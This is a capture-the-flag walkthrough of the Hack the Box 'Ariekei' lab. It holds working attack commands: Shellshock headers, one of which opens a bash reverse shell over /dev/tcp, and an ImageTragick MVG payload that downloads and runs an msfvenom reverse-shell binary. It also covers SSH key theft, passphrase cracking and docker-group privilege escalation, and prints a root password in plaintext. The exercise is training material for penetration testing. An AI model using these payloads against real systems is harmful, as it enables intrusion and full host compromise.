Today we are going to solve another CTF challenge “Ariekei” which is available online for those who want to increase their skill in penetration testing and black box testing. Ariekei is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Expert

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is so let’s begin with nmap port enumeration.

root@kali:~/htb/ariekei# nmap -sC -sV
Starting Nmap 7.70 ( ) at 2019-01-16 21:20 CET
Nmap scan report for
Host is up (0.030s latency).
Not shown: 997 closed ports
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 a7:5b:ae:65:93:ce:fb:dd:f9:6a:7f:de:50:67:f6:ec (RSA)
| 256 64:2c:a6:5e:96:ca:fb:10:05:82:36:ba:f0:c9:92:ef (ECDSA)
|_ 256 51:9f:87:64:be:99:35:2a:80:a6:a2:25:eb:e0:95:9f (ED25519)
443/tcp open ssl/https nginx/1.10.2
|_http-server-header: nginx/1.10.2
|_http-title: 400 The plain HTTP request was sent to HTTPS port
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_ http/1.1
| tls-nextprotoneg: 
|_ http/1.1
1022/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 1024 98:33:f6:b6:4c:18:f5:80:66:85:47:0c:f6:b7:90:7e (DSA)
| 2048 78:40:0d:1c:79:a1:45:d4:28:75:35:36:ed:42:4f:2d (RSA)
| 256 45:a6:71:96:df:62:b5:54:66:6b:91:7b:74:6a:db:b7 (ECDSA)
|_ 256 ad:8d:4d:69:8e:7a:fd:d8:cd:6e:c1:4f:6f:81:b4:1f (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 122.76 seconds

Now when we open the website we get a webpage that has a message on it saying it was maintenance.

Now we add the two domain names we found in the SSL certificate in /etc/hosts file for further enumeration.

When we open “calvin.ariekei.htb” we get an error message saying the requested url is not found.

Now when we open “beehive.ariekei.htb” we get the same under maintenance page as we did the first time we opened the target’s IP address in our browser.

Now we use dirb to enumerate the directories running on target nginx server. We also find that using either the IP address or the domain “beehive.arieki.htb” gives us identical results.

root@kali:~/htb/ariekei# dirb -w

DIRB v2.22 
By The Dark Raver

START_TIME: Wed Jan 16 21:36:06 2019
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Not Stopping on warning messages



---- Scanning URL: ----
+ (CODE:403|SIZE:1618) 
+ (CODE:403|SIZE:1618)
+ (CODE:403|SIZE:1618)
+ (CODE:403|SIZE:1618)
+ (CODE:403|SIZE:1618)
+ (CODE:403|SIZE:287) 
+ (CODE:403|SIZE:1618)
+ (CODE:403|SIZE:1618) 
+ (CODE:403|SIZE:1618) 
+ (CODE:200|SIZE:487) 
+ (CODE:403|SIZE:1618) 
+ (CODE:403|SIZE:1618) 
+ (CODE:403|SIZE:1618)
+ (CODE:403|SIZE:1618) 
+ (CODE:403|SIZE:292)
+ (CODE:403|SIZE:1618) 
+ (CODE:403|SIZE:1618) 
+ (CODE:403|SIZE:1618) 
+ (CODE:403|SIZE:1618)

When we try to exploit this page using shellshock, we get an emoji which persists whenever we try to exploit it. This may mean there is web application firewall that protects the server from this attack.

root@kali:~/htb/ariekei# curl -k -H "User-Agent: () { ;: }; echo; echo; /usr/bin/whoami" https://beehive.ariekei.htb

Now we use dirb to scan the other domain on the target server as it was showing different pages when we opened it in our browser.

root@kali:~/htb/ariekei# dirb https://calvin.ariekei.htb/

DIRB v2.22 
By The Dark Raver

START_TIME: Wed Jan 16 21:42:04 2019
URL_BASE: https://calvin.ariekei.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt



---- Scanning URL: https://calvin.ariekei.htb/ ----
+ https://calvin.ariekei.htb/.config (CODE:403|SIZE:1618) 
+ https://calvin.ariekei.htb/_vti_bin/_vti_adm/admin.dll (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/_vti_bin/_vti_aut/author.dll (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/_vti_bin/shtml.dll (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/awstats.conf (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/development.log (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/global.asa (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/global.asax (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/main.mdb (CODE:403|SIZE:1618) 
+ https://calvin.ariekei.htb/php.ini (CODE:403|SIZE:1618) 
+ https://calvin.ariekei.htb/production.log (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/spamlog.log (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/thumbs.db (CODE:403|SIZE:1618) 
+ https://calvin.ariekei.htb/Thumbs.db (CODE:403|SIZE:1618) 
+ https://calvin.ariekei.htb/upload (CODE:200|SIZE:1656) 
+ https://calvin.ariekei.htb/WS_FTP.LOG (CODE:403|SIZE:1618)

END_TIME: Wed Jan 16 21:44:38 2019

Dirb scan shows us a directory named “upload/”, we open the link and find an upload page.

Upload any file and nothing appears to happen, we’re just redirected to a HTTP port of calvin.ariekei.htb/upload, although the title indicates that this is an image converter. Potentially it’s vulnerable to Imagetragick, one of the more famous exploits of the ImageMagick library that handled a substantial amount of the web’s image conversion code. I used one of the proof-of-concepts hosted here and adapted it to return myself a root shell.

For this you’ll want to generate an executable to return a shell. We can easily do this using msfvenom.

root@kali:~/htb/ariekei# msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=443 -f elf -o shell.elf

We’ll then want to create our payload file, which I called exploit.mvg. All this does is inject a call to download our binary, make it executable and then execute it.

root@kali:~/htb/ariekei# cat exploit.mvg 
push graphic-context
viewbox 0 0 640 480
fill 'url("|curl -o /tmp/shell.elf; chmod +x /tmp/shell.elf; /tmp/shell.elf; echo "rce1)'
pop graphic-context

We upload the file, place the executable on our local web server and set up a netcat listener. After a few seconds we’re returned a shell as…root?

We take a look at /proc/1/cgroup and find that we are inside a docker container.

Now we take a look at the mounted files, and find a directory called /common.

We open the “common/” directory and find a secret directory called “.secrets/”. We take a look inside the content of the directory and find files named “bastion_key” and “”.

We open the “bastion_key” file and we find a RSA key.

We copy the file into our system and save it as id_rsa, so that we can use it to login using ssh.

We change the permissions of the key, and login through ssh as root user using the RSA key.

root@kali:~/htb/ariekei# ssh root@ -p 1022 -i id_rsa
Last login: Thu Jan 17 17:07:15 2019 from
root@ezra:~# cat /proc/1/cgroup

We check the /proc/1/cgroup file and find that we are still in docker container.

We again go to the “common/” directory, inside /containers/blog-test/ we find a few files and directories. One of the file contained a few bash commands and also root user password.

Enumerating the rest of the directories, inside /common/containers/waf-live/ we find the configuration files for the nginx server.

We look at the “nginx.conf” file and find that waf-live is running on port 443 and routing all traffic between the blog-test container and us. We also find that mod security is acting as the web application firewall.

Now during our dirb scan we found a directory called /cgi-bin/stats/ which could be vulnerable to shellshock but we were unable to exploit it because of the web application firewall. As the waf-live is routing traffic between us and blog-test on port 443 it is possible to exploit the shellshock vulnerability from inside the server.

We know the target ip to be form the configuration file. We now need to find the IP address to docker system we are in.

SSH to port 1022

I also find a network topology for the entire network that is running on the host machine, and also found private and public keys under .secret folder. But the host doesn’t have any useful commands that helps me to go further. However, using that private key, I was able to login to the ssh on port 1022 and this time we logged in to another new docker container that has two interfaces which means connected to two networks ( and

Again we see the seem folder for the docker environment which is /common. Now there is a info.png it seems to be interesting. Lets download it and check it out. At first, the picture didn’t work and I checked its header which showed that it is Web/P image that a new picture type that isn’t supported yet by many applications. Thus, I converted it from Web/P image to png using one of the online websites.

Boom, we have gotten the network topology and it shows that we are logged into bastion-live docker machine which connects two networks. Now it also shows that calvin and beehive machines which are behind a firewall as we expected. For now we need to reach beehive host from the internal network because it don’t have internal firewall, thus we still can use the ShellShock vulnerability that we tried from bastion machine.

Local/Remote Port forward

However, there is a problem which is curl is not installed on the system and we don’t have internet access to install it. The idea that I got is now to do reverse shell to my Kali machine and do that internally from my machine.

We can also open local port 80 to forward to remote port 80 as following, both of them are working fine.

ShellShock exploit behind the Firewall

I have successfully did remote port forward to my machine via port 8003 that forward to port 80 on host

root@ezra:# ~C
ssh> -L 8001:
Forwarding port
root@kali:~/htb/ariekei# netstat -alnp | grep 8001
tcp        0      0*               LISTEN      2599/ssh            
tcp6       0      0 ::1:8001                :::*                    LISTEN      2599/ssh  
root@kali:~/htb/ariekei# curl
root@kali:~/htb/ariekei# nc -lvnp 8003
TEST appearing 
root@ezra:# ~C
ssh> -R 8002:
Forwardng port.

Then, tried to execute the curl command to exploit the application to print Puck which is my name.

root@kali:~/htb/ariekei# curl -H "custom:() { ignored; }; echo; echo ; /bin/bash -c 'echo Puck'" localhost:8001/cgi-bin/stats


And finally receiving a reverse shell by executing the following command:

root@kali:~/htb/ariekei# wget -U "() { test;}; echo \"Content-Type: text/plain\"; echo; /bin/bash -i >&/dev/tcp/ 0>&1" 
--2019-01-17 19:39:30--
Connecting to connected.
HTTP request sent, awaiting response...

root@kali:~/htb/ariekei# nc -lvp 8003
listening on [any] 8003 ...
connect to [] from calvin.ariekei.htb [] 34858

www-data@beehive:/usr/lib/cgi-bin$ su
Password: Ib3!kTEvYw6*P7s

www-data@beehive:/usr/lib/cgi-bin$ python -c "import pty; pty.spawn('/bin/bash')" 
<gi-bin$ python -c "import pty; pty.spawn('/bin/bash')" 
root@beehive:/home/spanishdancer# cat user.txt
cat user.txt

Now, it is time to download those keys to connect to the main ssh server which listens on port 22. However, it requires a passphrase!

The best way to crack this type of passphrase is by using John the Ripper tool, but first it requires to convert it using ssh2john to be compatible with John.

Now, we have the private key and the passphrase. We are ready to login to the main host machine that is running docker services. And here we go:

Getting root flag – Privilege escalation

root@beehive:/home/spanishdancer/.ssh# ls
authorized_keys id_rsa
root@beehive:/home/spanishdancer/.ssh# cat id_rsa
cat id_rsa
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,C3EBD8120354A75E12588B11180E96D5


root@kali:~/htb/ariekei# chmod 600 key.txt
root@kali:~/htb/ariekei# ssh -i key.txt spanishdancer@
Enter passphrase for key 'key.txt': 
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-87-generic x86_64)

* Documentation:
* Management:
* Support:

7 packages can be updated.
7 updates are security updates.

Last login: Mon Nov 13 10:23:41 2017 from
spanishdancer@ariekei:~$ id
uid=1000(spanishdancer) gid=1000(spanishdancer) groups=1000(spanishdancer),999(docker)
spanishdancer@ariekei:~$ docker images
waf-template latest 399c8876e9ae 16 months ago 628MB
bastion-template latest 0df894ef4624 16 months ago 251MB
web-template latest b2a8f8d3ef38 16 months ago 185MB
bash latest a66dc6cea720 16 months ago 12.8MB
convert-template latest e74161aded79 2 years ago 418MB
spanishdancer@ariekei:~$ docker run -v /:/hack -i -t bash
bash-4.4# cd /hack/root
bash-4.4# ls -la
total 40
drwx------ 3 root root 4096 Feb 11 2018 .
drwxr-xr-x 23 root root 4096 Sep 16 2017 ..
-rw-r--r-- 1 root root 3126 Sep 24 2017 .bashrc
drwx------ 2 root root 4096 Feb 11 2018 .cache
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 1024 Sep 24 2017 .rnd
-rw-r--r-- 1 root root 75 Sep 23 2017 .selected_editor
-rw------- 1 root root 7747 Feb 11 2018 .viminfo
-r-------- 1 root root 33 Sep 24 2017 root.txt
bash-4.4# cat root.txt


Author: Jacco Straathof

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.